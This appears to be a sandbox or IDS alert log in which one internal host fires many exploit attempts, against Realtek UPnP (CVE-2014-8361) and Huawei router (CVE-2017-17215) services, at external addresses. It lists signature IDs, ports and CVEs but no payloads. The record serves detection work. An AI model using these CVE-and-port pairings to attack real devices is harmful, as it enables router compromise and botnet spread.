Timestamp:	07/20/24-23:01:42.827952
SID:	2027339
Source Port:	40648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.115.2.79

Timestamp:	07/20/24-23:01:46.520662
SID:	2027339
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.63.143.206

Timestamp:	07/20/24-23:01:00.645051
SID:	2829579
Source Port:	47164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.160.10.25

Timestamp:	07/20/24-23:01:42.908066
SID:	2027339
Source Port:	55258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.101.61.62

Timestamp:	07/20/24-23:01:44.311969
SID:	2027339
Source Port:	33776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.173.75.154

Timestamp:	07/20/24-23:02:00.908220
SID:	2025132
Source Port:	56222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.86.67.253

Timestamp:	07/20/24-23:01:08.650213
SID:	2027339
Source Port:	34576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.65.204.131

Timestamp:	07/20/24-23:01:58.028191
SID:	2027339
Source Port:	40478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 150.244.11.188

Timestamp:	07/20/24-23:01:06.973541
SID:	2829579
Source Port:	42644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.205.235.41

Timestamp:	07/20/24-23:01:46.261793
SID:	2831300
Source Port:	53988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 5.7.138.144

Timestamp:	07/20/24-23:01:21.928521
SID:	2829579
Source Port:	38596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.135.26.34

Timestamp:	07/20/24-23:01:41.912337
SID:	2027339
Source Port:	60206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.88.74.31

Timestamp:	07/20/24-23:01:42.988853
SID:	2027339
Source Port:	55828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.28.108.81

Timestamp:	07/20/24-23:01:25.012815
SID:	2025132
Source Port:	41020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.51.209.65

Timestamp:	07/20/24-23:01:45.426290
SID:	2027339
Source Port:	41698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.146.159.96

Timestamp:	07/20/24-23:01:51.056707
SID:	2025132
Source Port:	34134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.243.119.9

Timestamp:	07/20/24-23:01:02.127340
SID:	2829579
Source Port:	46616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.239.208.54

Timestamp:	07/20/24-23:01:42.703494
SID:	2831300
Source Port:	38988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.164.36.164

Timestamp:	07/20/24-23:01:47.537829
SID:	2027339
Source Port:	54900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.171.123.209

Timestamp:	07/20/24-23:01:42.799973
SID:	2025132
Source Port:	34198
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.33.175.153

Timestamp:	07/20/24-23:01:47.669469
SID:	2831300
Source Port:	46694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.179.199.146

Timestamp:	07/20/24-23:00:57.221145
SID:	2829579
Source Port:	44014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.47.147.236

Timestamp:	07/20/24-23:01:08.581974
SID:	2027339
Source Port:	34926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.28.156.220

Timestamp:	07/20/24-23:01:11.634372
SID:	2835222
Source Port:	50486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.46.179.130

Timestamp:	07/20/24-23:01:09.027075
SID:	2831300
Source Port:	49516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.217.190.133

Timestamp:	07/20/24-23:01:31.321189
SID:	2831300
Source Port:	48790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.130.245.154

Timestamp:	07/20/24-23:01:42.136561
SID:	2027339
Source Port:	60018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.116.102.178

Timestamp:	07/20/24-23:01:06.989167
SID:	2829579
Source Port:	53032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.68.229.244

Timestamp:	07/20/24-23:01:47.331200
SID:	2027339
Source Port:	46806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.121.50.137

Timestamp:	07/20/24-23:01:56.013827
SID:	2027339
Source Port:	57882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.143.251.133

Timestamp:	07/20/24-23:01:46.855307
SID:	2027339
Source Port:	36176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.128.21.230

Timestamp:	07/20/24-23:01:47.532849
SID:	2025132
Source Port:	40410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 83.99.82.220

Timestamp:	07/20/24-23:01:44.405053
SID:	2831300
Source Port:	53430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.142.97.135

Timestamp:	07/20/24-23:01:26.125703
SID:	2027339
Source Port:	36076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.196.120

Timestamp:	07/20/24-23:00:57.221570
SID:	2835222
Source Port:	53302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.135.72.98

Timestamp:	07/20/24-23:02:00.371741
SID:	2027339
Source Port:	41426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.114.190.173

Timestamp:	07/20/24-23:01:20.096752
SID:	2829579
Source Port:	58660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.10.123.41

Timestamp:	07/20/24-23:01:42.072139
SID:	2027339
Source Port:	42710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.76.92.180

Timestamp:	07/20/24-23:01:42.334131
SID:	2027339
Source Port:	55440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.91.249.28

Timestamp:	07/20/24-23:01:57.360180
SID:	2027339
Source Port:	48112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.146.94.28

Timestamp:	07/20/24-23:01:00.635367
SID:	2829579
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.164.236.148

Timestamp:	07/20/24-23:01:24.885849
SID:	2829579
Source Port:	37496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.146.83

Timestamp:	07/20/24-23:01:00.645051
SID:	2829579
Source Port:	60910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.24.153.194

Timestamp:	07/20/24-23:01:08.683684
SID:	2027339
Source Port:	59490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.212.42.23

Timestamp:	07/20/24-23:02:12.234515
SID:	2025132
Source Port:	58290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.88.24.192

Timestamp:	07/20/24-23:01:40.349275
SID:	2835222
Source Port:	44140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.45.133.89

Timestamp:	07/20/24-23:01:44.890268
SID:	2027339
Source Port:	45790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.171.161.225

Timestamp:	07/20/24-23:01:42.908066
SID:	2025132
Source Port:	37598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 180.65.88.44

Timestamp:	07/20/24-23:01:54.796749
SID:	2831300
Source Port:	37158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.130.161.177

Timestamp:	07/20/24-23:01:41.276434
SID:	2027339
Source Port:	54756
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.245.24.12

Timestamp:	07/20/24-23:01:42.660847
SID:	2027339
Source Port:	59292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.127.58

Timestamp:	07/20/24-23:01:06.973541
SID:	2835222
Source Port:	36666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 144.44.56.47

Timestamp:	07/20/24-23:01:40.307219
SID:	2835222
Source Port:	54792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.78.46.190

Timestamp:	07/20/24-23:01:02.048113
SID:	2835222
Source Port:	55632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.212.66.23

Timestamp:	07/20/24-23:01:41.315380
SID:	2027339
Source Port:	47042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.135.7.1

Timestamp:	07/20/24-23:01:42.632123
SID:	2027339
Source Port:	34600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.33.175.153

Timestamp:	07/20/24-23:01:50.001369
SID:	2027339
Source Port:	45394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 100.0.247.159

Timestamp:	07/20/24-23:01:42.536855
SID:	2831300
Source Port:	60210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.108.114.50

Timestamp:	07/20/24-23:01:42.641430
SID:	2027339
Source Port:	55140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 103.179.244.2

Timestamp:	07/20/24-23:01:08.679677
SID:	2831300
Source Port:	47086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 211.27.252.180

Timestamp:	07/20/24-23:01:20.592206
SID:	2831300
Source Port:	58000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 117.120.22.241

Timestamp:	07/20/24-23:01:47.038105
SID:	2831300
Source Port:	37582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.254.137.62

Timestamp:	07/20/24-23:01:51.743446
SID:	2027339
Source Port:	36894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.56.206.158

Timestamp:	07/20/24-23:01:59.604768
SID:	2025132
Source Port:	48086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.192.146

Timestamp:	07/20/24-23:01:31.978142
SID:	2835222
Source Port:	60578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.80.86.165

Timestamp:	07/20/24-23:00:57.220937
SID:	2829579
Source Port:	54222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.25.37.64

Timestamp:	07/20/24-23:02:10.031806
SID:	2025132
Source Port:	49060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.75.123.93

Timestamp:	07/20/24-23:01:00.634165
SID:	2835222
Source Port:	58556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.252.196.177

Timestamp:	07/20/24-23:01:44.713195
SID:	2027339
Source Port:	55648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.142.100.244

Timestamp:	07/20/24-23:01:49.172806
SID:	2025132
Source Port:	54868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.43.220.26

Timestamp:	07/20/24-23:01:02.048367
SID:	2829579
Source Port:	53720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.2.127.68

Timestamp:	07/20/24-23:01:44.302645
SID:	2027339
Source Port:	45918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.4.24.206

Timestamp:	07/20/24-23:01:57.313050
SID:	2027339
Source Port:	48812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.69.193.236

Timestamp:	07/20/24-23:01:43.030153
SID:	2025132
Source Port:	58654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.215.7.68

Timestamp:	07/20/24-23:01:43.415157
SID:	2027339
Source Port:	53276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.254.9.254

Timestamp:	07/20/24-23:00:59.201033
SID:	2829579
Source Port:	43482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.198.8.37

Timestamp:	07/20/24-23:01:44.409097
SID:	2027339
Source Port:	52916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.180.129.117

Timestamp:	07/20/24-23:01:56.485717
SID:	2027339
Source Port:	36340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.165.149.247

Timestamp:	07/20/24-23:01:58.001186
SID:	2025132
Source Port:	43662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.225.143.5

Timestamp:	07/20/24-23:01:43.917774
SID:	2025132
Source Port:	50784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 211.69.194.148

Timestamp:	07/20/24-23:01:31.311969
SID:	2831300
Source Port:	46830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.118.78

Timestamp:	07/20/24-23:01:14.103467
SID:	2835222
Source Port:	48232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.136.236.137

Timestamp:	07/20/24-23:01:08.595072
SID:	2027339
Source Port:	52900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.248.84.13

Timestamp:	07/20/24-23:01:43.158920
SID:	2027339
Source Port:	52066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.105.77.79

Timestamp:	07/20/24-23:02:04.022245
SID:	2027339
Source Port:	48240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.104.180.12

Timestamp:	07/20/24-23:01:47.921416
SID:	2027339
Source Port:	55612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.195.37.248

Timestamp:	07/20/24-23:01:52.425638
SID:	2025132
Source Port:	40594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.109.59.232

Timestamp:	07/20/24-23:02:17.865555
SID:	2831300
Source Port:	40280
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.113.160.230

Timestamp:	07/20/24-23:00:59.163619
SID:	2835222
Source Port:	52552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.189.246.31

Timestamp:	07/20/24-23:01:42.147980
SID:	2027339
Source Port:	56432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.6.144.179

Timestamp:	07/20/24-23:01:43.621955
SID:	2831300
Source Port:	40832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.137.58.228

Timestamp:	07/20/24-23:01:00.647695
SID:	2829579
Source Port:	33984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.42.95.98

Timestamp:	07/20/24-23:01:34.045749
SID:	2835222
Source Port:	43242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.116.47.253

Timestamp:	07/20/24-23:01:53.308763
SID:	2027339
Source Port:	52562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.230.61.146

Timestamp:	07/20/24-23:01:47.924852
SID:	2027339
Source Port:	58936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.17.76.254

Timestamp:	07/20/24-23:02:13.086086
SID:	2027339
Source Port:	38684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.26.13.206

Timestamp:	07/20/24-23:01:02.509396
SID:	2025132
Source Port:	53182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.53.250.191

Timestamp:	07/20/24-23:01:42.115778
SID:	2025132
Source Port:	59720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.157.68.18

Timestamp:	07/20/24-23:01:31.323043
SID:	2831300
Source Port:	56342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

